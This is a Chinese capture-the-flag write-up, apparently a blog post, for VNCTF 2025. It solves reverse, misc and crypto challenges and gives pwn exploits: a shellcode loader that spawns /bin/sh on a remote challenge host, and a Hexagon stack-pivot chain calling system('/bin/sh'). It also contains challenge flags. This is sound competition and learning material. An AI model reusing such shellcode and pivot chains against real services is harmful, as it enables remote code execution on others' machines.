2025-VNCTF-wp

一:Reverse

1、HOOK Fish

思路:
(1)已知hook_fish类中的strr是最终需要匹配的字符串。我们的目标是通过逆向加密流程,找到原始输入,使得经过encrypt和encode后等于strr;所以我们需要解码strr得到encodeText;访问链接下载hook_fish.dex;求解出中间值!
在这里插入图片描述
(2)逆向encrypt加密函数得到原始输入

#‍‍加密函数
public static String encrypt(String str) {
        byte[] str1 = str.getBytes();
        for (int i = 0; i < str1.length; i++) {
            str1[i] = (byte) (str1[i] + 68);
        }
        StringBuilder hexStringBuilder = new StringBuilder();
        for (byte b : str1) {
            hexStringBuilder.append(String.format("%02x", Byte.valueOf(b)));
        }
        String str2 = hexStringBuilder.toString();
        char[] str3 = str2.toCharArray();
        code(str3, 0);
        for (int i2 = 0; i2 < str3.length; i2++) {
            if (str3[i2] >= 'a' && str3[i2] <= 'f') {
                str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4));
            } else {
                str3[i2] = (char) (str3[i2] + '7' + (i2 % 10));
            }
        }
        Log.d("encrypt: ", new String(str3));
        return new String(str3);
    }

    private static void code(char[] a, int index) {
        if (index >= a.length - 1) {
            return;
        }
        a[index] = (char) (a[index] ^ a[index + 1]);
        a[index + 1] = (char) (a[index] ^ a[index + 1]);
        a[index] = (char) (a[index] ^ a[index + 1]);
        code(a, index + 2);
    }
public static String encrypt(String str) {
        byte[] str1 = str.getBytes();
        for (int i = 0; i < str1.length; i++) {
            str1[i] = (byte) (str1[i] + 68);
        }
        StringBuilder hexStringBuilder = new StringBuilder();
        for (byte b : str1) {
            hexStringBuilder.append(String.format("%02x", Byte.valueOf(b)));
        }
        String str2 = hexStringBuilder.toString();
        char[] str3 = str2.toCharArray();
        code(str3, 0);
        for (int i2 = 0; i2 < str3.length; i2++) {
            if (str3[i2] >= 'a' && str3[i2] <= 'f') {
                str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4));
            } else {
                str3[i2] = (char) (str3[i2] + '7' + (i2 % 10));
            }
        }
        Log.d("encrypt: ", new String(str3));
        return new String(str3);
    }

    private static void code(char[] a, int index) {
        if (index >= a.length - 1) {
            return;
        }
        a[index] = (char) (a[index] ^ a[index + 1]);
        a[index + 1] = (char) (a[index] ^ a[index + 1]);
        a[index] = (char) (a[index] ^ a[index + 1]);
        code(a, index + 2);
    } 
public static String encrypt(String str) {
        byte[] str1 = str.getBytes();
        for (int i = 0; i < str1.length; i++) {
            str1[i] = (byte) (str1[i] + 68);
        }
        StringBuilder hexStringBuilder = new StringBuilder();
        for (byte b : str1) {
            hexStringBuilder.append(String.format("%02x", Byte.valueOf(b)));
        }
        String str2 = hexStringBuilder.toString();
        char[] str3 = str2.toCharArray();
        code(str3, 0);
        for (int i2 = 0; i2 < str3.length; i2++) {
            if (str3[i2] >= 'a' && str3[i2] <= 'f') {
                str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4));
            } else {
                str3[i2] = (char) (str3[i2] + '7' + (i2 % 10));
            }
        }
        Log.d("encrypt: ", new String(str3));
        return new String(str3);
    }

    private static void code(char[] a, int index) {
        if (index >= a.length - 1) {
            return;
        }
        a[index] = (char) (a[index] ^ a[index + 1]);
        a[index + 1] = (char) (a[index] ^ a[index + 1]);
        a[index] = (char) (a[index] ^ a[index + 1]);
        code(a, index + 2);
    }

使用deepseek梭哈给出exp即可

fish_dcode = {
    "iiijj": 'a', "jjjii": 'b', "jijij": 'c', "jjijj": 'd', "jjjjj": 'e',
    "ijjjj": 'f', "jjjji": 'g', "iijii": 'h', "ijiji": 'i', "iiiji": 'j',
    "jjjij": 'k', "jijji": 'l', "ijiij": 'm', "iijji": 'n', "ijjij": 'o',
    "jiiji": 'p', "ijijj": 'q', "jijii": 'r', "iiiii": 's', "jjiij": 't',
    "ijjji": 'u', "jiiij": 'v', "iiiij": 'w', "iijij": 'x', "jjiji": 'y',
    "jijjj": 'z', "iijjl": '1', "iiilj": '2', "iliii": '3', "jiili": '4',
    "jilji": '5', "iliji": '6', "jjjlj": '7', "ijljj": '8', "iljji": '9',
    "jjjli": '0'
}
strr = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji"
# 分割为每5个字符
groups = [strr[i:i+5] for i in range(0, len(strr), 5)]
encodeText = ''.join([fish_dcode[group] for group in groups])
print(encodeText)
def reverse_encrypt(encoded_str):
    n = len(encoded_str)
    reversed_chars = []
    for i in range(n):
        c = encoded_str[i]
        original_case1 = ord(c) - (i % 4) + ord('1')
        if 97 <= original_case1 <= 102:
            reversed_chars.append(chr(original_case1))
            continue
        original_case2 = ord(c) - ord('7') - (i % 10)
        if 48 <= original_case2 <= 57:
            reversed_chars.append(chr(original_case2))
            continue
        raise ValueError(f"Cannot reverse character {c} at position {i}")
  
    arr = list(reversed_chars)
    code(arr, 0)
    hex_str = ''.join(arr)
    bytes_list = bytes.fromhex(hex_str)
    original_bytes = [ (b - 68) % 256 for b in bytes_list ]
    original_str = bytes(original_bytes).decode('utf-8', errors='replace')
    return original_str
def code(arr, index):
    if index >= len(arr) -1:
        return
    arr[index], arr[index+1] = arr[index+1], arr[index]
    code(arr, index + 2)
encodeText = "0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5"
original_input = reverse_encrypt(encodeText)
print("Flag:", original_input)
#Flag: VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l}

2、Fuko’s starfish

思路:AES加密;密钥异或;去除花指令;找到密文和密钥
(1)直接调试
在这里插入图片描述
f12追踪发现可以函数snake函数
在这里插入图片描述
在这里插入图片描述
unk_7FFEFOA025F0中有加密函数;存在花指令;去除继续跟进
在这里插入图片描述
找到密文
在这里插入图片描述
在这里插入图片描述
提取出来

unsigned char ida_chars[] =
{
   61,   1,  28,  25,  11, 160, 144, 129,  95, 103, 
   39,  49, 168, 154, 164, 116, 151,  54,  33, 103, 
  171,  46, 180, 160, 148,  24, 211, 125, 147, 230, 
   70, 231,  99, 124, 119, 123, 242, 107, 111, 197, 
   48,   1, 103,  43, 254, 215, 171, 118, 202, 130, 
  201, 125, 250,  89,  71, 240, 173, 212, 162, 175, 
  156, 164, 114, 192, 183, 253, 147,  38,  54,  63, 
  247, 204,  52, 165, 229, 241, 113, 216,  49,  21, 
    4, 199,  35, 195,  24, 150,   5, 154,   7,  18, 
  128, 226, 235,  39, 178, 117,   9, 131,  44,  26, 
   27, 110,  90, 160,  82,  59, 214, 179,  41, 227, 
   47, 132,  83, 209,   0, 237,  32, 252, 177,  91, 
  106, 203, 190,  57,  74,  76,  88, 207, 208, 239, 
  170, 251,  67,  77,  51, 133,  69, 249,   2, 127, 
   80,  60, 159, 168,  81, 163,  64, 143, 146, 157, 
   56, 245, 188, 182, 218,  33,  16, 255, 243, 210, 
  205,  12,  19, 236,  95, 151,  68,  23, 196, 167, 
  126,  61, 100,  93,  25, 115,  96, 129,  79, 220, 
   34,  42, 144, 136,  70, 238, 184,  20, 222,  94, 
   11, 219, 224,  50,  58,  10,  73,   6,  36,  92, 
  194, 211, 172,  98, 145, 149, 228, 121, 231, 200, 
   55, 109, 141, 213,  78, 169, 108,  86, 244, 234, 
  101, 122, 174,   8, 186, 120,  37,  46,  28, 166, 
  180, 198, 232, 221, 116,  31,  75, 189, 139, 138, 
  112,  62, 181, 102,  72,   3, 246,  14,  97,  53, 
   87, 185, 134, 193,  29, 158, 225, 248, 152,  17, 
  105, 217, 142, 148, 155,  30, 135, 233, 206,  85, 
   40, 223, 140, 161, 137,  13, 191, 230,  66, 104, 
   65, 153,  45,  15, 176,  84, 187,  22
};

跟进sub_7FFD56721650;发现了密钥;在进行异或操作;还原密钥
在这里插入图片描述
提取出密钥后发现正常情况下需要将密钥异或0x17,最终发现为128位,猜测是AES,0x09e5fdeb683175b6b13b840891eb78d2;观察后续程序流,ai说是AES-ECB模式;然后直接使用Al提取密文数组在线使用cyber解密即可

3D011C190BA090815F672731A89AA47497362167AB2EB4A09418D37D93E646E7637C777BF26B6FC53001672BFED7AB76CA82C97DFA5947F0ADD4A2AF9CA472C0B7FD9326363FF7CC34A5E5F171D8311504C723C31896059A071280E2EB27B27509832C1A1B6E5AA0523BD6B329E32F8453D100ED20FCB15B6ACBBE394A4C58CFD0EFAAFB434D338545F9027F503C9FA851A3408F929D38F5BCB6DA2110FFF3D2CD0C13EC5F974417C4A77E3D645D197360814FDC222A908846EEB814DE5E0BDBE0323A0A4906245CC2D3AC629195E479E7C8376D8DD54EA96C56F4EA657AAE08BA78252E1CA6B4C6E8DD741F4BBD8B8A703EB5664803F60E613557B986C11D9EE1F8981169D98E949B1E87E9CE5528DF8CA1890DBFE6426841992D0FB054BB16

在这里插入图片描述

二:Misc

1、VN_lang

思路:IDA shift+f12直接得到flag
在这里插入图片描述

三:Crypto

1、sagemath

思路:从给定的三次多项式中恢复三个素数,然后求解模这些素数的平方根,并通过中国剩余定理组合得到可能的解

from sympy import symbols, solve, isprime
from sympy.ntheory.modular import crt
from itertools import product

a = 15264966144147258587171776703005926730518438603688487721465
b = 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923
c_val = 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619

x = symbols('x')
poly = x**3 - a*x**2 + b*x - c_val
roots = solve(poly, x)

def is_valid_prime(n):
    return isprime(n) and (n + 1) % 4 == 0

prime_roots = [int(root) for root in roots if is_valid_prime(int(root))]
if len(prime_roots) != 3:
    raise ValueError("Could not find exactly three valid prime roots")

p, q, r = prime_roots
ciphertext = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944

def mod_sqrt(a, p):
    if p % 4 == 3:
        return pow(a, (p + 1) // 4, p)
    raise ValueError("Modular square root not supported for this prime")

m_p = mod_sqrt(ciphertext % p, p)
m_q = mod_sqrt(ciphertext % q, q)
m_r = mod_sqrt(ciphertext % r, r)

possible_flags = []
for signs in product([1, -1], repeat=3):
    mp = (signs[0] * m_p) % p
    mq = (signs[1] * m_q) % q
    mr = (signs[2] * m_r) % r
    flag = crt([p, q, r], [mp, mq, mr])[0]
    possible_flags.append(flag)

for flag in possible_flags:
    if pow(flag, 2, p * q * r) == ciphertext:
        flag_bytes = int(flag).to_bytes((flag.bit_length() + 7) // 8, byteorder='big')
        print("Possible flag:", flag_bytes.decode('utf-8', errors='replace'))

print("Done.")
#VNCTF{90dcfb2dfb21a21e0c8715cbf3643f4a47d3e2e4b3f7b7975954e6d9701d9648}

2、ss0Hurt!

chat梭哈!赛后得好好了解一下了!

from Crypto.Util.number import long_to_bytes

# Given values (replace with actual values from the problem)
n = 106743081253087007974132382690669187409167641660258665859915640694456867788135702053312073228376307091325146727550371538313884850638568106223326195447798997814912891375244381751926653858549419946547894675646011818800255999071070352934719005006228971056393128007601573916373180007524930454138943896336817929823
result = (17199707718762989481733793569240992776243099972784327196212023936622130204798694753865087501654381623876011128783229020278210160383185417670794284015692458326761011808048967854332413536183785458993128524881447529380387804712214305034841856237045463243243451585619997751904403447841431924053651568039257094910, 
          62503976674384744837417986781499538335164333679603320998241675970253762411134672614307594505442798271581593168080110727738181755339828909879977419645331630791420448736959554172731899301884779691119177400457640826361914359964889995618273843955820050051136401731342998940859792560938931787155426766034754760036, 
          93840121740656543170616546027906623588891573113673113077637257131079221429328035796416874995388795184080636312185908173422461254266536066991205933270191964776577196573147847000446118311985331680378772920169894541350064423243733498672684875039906829095473677927238488927923581806647297338935716890606987700071)  # the hash result (X, Y, Z)
def recover_m(n, result):
    X, Y, Z = result
    A, B, C = 2025, 208, 209

    # Step 1: Compute k = 5^m mod n using Z component
    inv_C = pow(C, -1, n)
    k = (Z * inv_C) % n

    # Step 2: Compute numerator and denominator for m
    numerator = (5 * k * B - 5 * Y) % n
    denominator = (k * C) % n

    # Step 3: Compute inverse of denominator
    inv_denominator = pow(denominator, -1, n)

    # Step 4: Calculate m
    m = (numerator * inv_denominator) % n
    return m
# Recover m
m = recover_m(n, result)

# Convert m to bytes
flag = long_to_bytes(m)

# Try printing as a UTF-8 string
try:
    print(flag.decode('utf-8'))  # 尝试以UTF-8解码为字符串
except UnicodeDecodeError:
    # 如果解码失败,可以显示十六进制
    print(flag.hex())  # 显示为十六进制
# 给定的十六进制字符串
hex_string = "d64e4354467b575768795f646961676f6e616c697a6174696f6e5f31735f73305f62725252527252727252727272527252527252527272725272527252755575555555545454747465333333333f3f3f3f3f6f756368216f75636821546833745f69735f53305f4372617a79212121217d"
# 将十六进制字符串转换为字节
byte_data = bytes.fromhex(hex_string)
# 将字节数据转换为可见字符(如果有的话)
print(byte_data.decode(errors='ignore'))  # 'ignore' 忽略无法解码的字节

四:Pwn

1、签到

思路:IDA分析一下,发现有mprotect函数,执行到这里会有可读可写可执行段,可以执行shellcode
在这里插入图片描述
向rwx段写入0x100字节的shellcode

shellcode = asm("""
mov rsi,rdi
mov rdx, 0x100
mov rdi, 0
syscall
""")

rax为59,rdi为/bin/sh地址的值,rsi为0

payload = b'\x90' * 0x18 + asm("""
mov rax, 59
mov rdi, rsi
add rdi, 0x36
mov rsi,0
mov rdx,0
syscall
""")

exp:

from pwn import *
# p = process('./pwn')
p = remote('node.vnteam.cn',44121)
shellcode = asm("""
mov rsi,rdi
mov rdx, 0x100
mov rdi, 0
syscall
""")
p.sendline(shellcode)
payload = b'\x90'*0x18 + asm("""
mov rax, 59
mov rdi, rsi
add rdi, 0x36
mov rsi,0
mov rdx,0
syscall
""")+b'/bin/sh\x00'
p.sendline(payload)
p.interactive()

2、hexagon

思路:
(1)在网上找了一堆参考,这篇文章『2024GeekCTF』stkbof-初识hexagon架构PWN讲了这个32位的抽象架构,如何调试和如何反汇编。
(2首先配置到dll工具
在这里插入图片描述
在这里插入图片描述
打开后的反汇编。看到Vuln函数动调知道起到了read,然后leave_ret(dealloc_return)的效果。
在这里插入图片描述
看到system函数,发现r0起到了传参的作用。朴素的想法就是让r0=ptr(binsh),然后用read下面的system, 根据提示可以多次栈迁移所以把数布置在栈上。

from pwn import *
context.arch='amd64'

# libc = ELF('./libc.so')
# p = process(['qemu-hexagon', './main'])
p = remote('node.vnteam.cn', 43291) 

read_leave_ret = 0x20474
stack = 0x4080f000
libc_base= 0x3FEC0000
system = 0x2048C
# r0 dealloc_return
# r0_gadget = 0x20534
r0_gadget = libc_base + 0x54630 
# .text:00054630                 { r0 = memw(fp + #var_10) }
# .text:00054634                 { dealloc_return }

p.sendlineafter('player!\n', b'666')
# pause()
# 多次栈迁移布置栈,把数据放到栈上,让r0指到binsh,然后system
# aaaa
# aaaa
# stack+8
# read_leave_ret
p.send(b'a'*8 + p32(stack+8) + p32(read_leave_ret))

p.send(b'a'*8 + p32(stack-0x30+8) + p32(read_leave_ret))

p.send(b'/bin/sh\x00' + p32(stack-0x20+0x8) + p32(read_leave_ret))
p.send(b'a'*8 + p32(stack-0x10+0x8) + p32(read_leave_ret))
# 布置好memw(fp + #var_10),最后一次r0直接迁到system上
p.send(b'sh\x00\x00' + p32(system) + p32(stack-0x10) + p32(r0_gadget))

p.interactive()

在这里插入图片描述
剩下的不会了!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

巅峰赛2000分以下是巅峰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值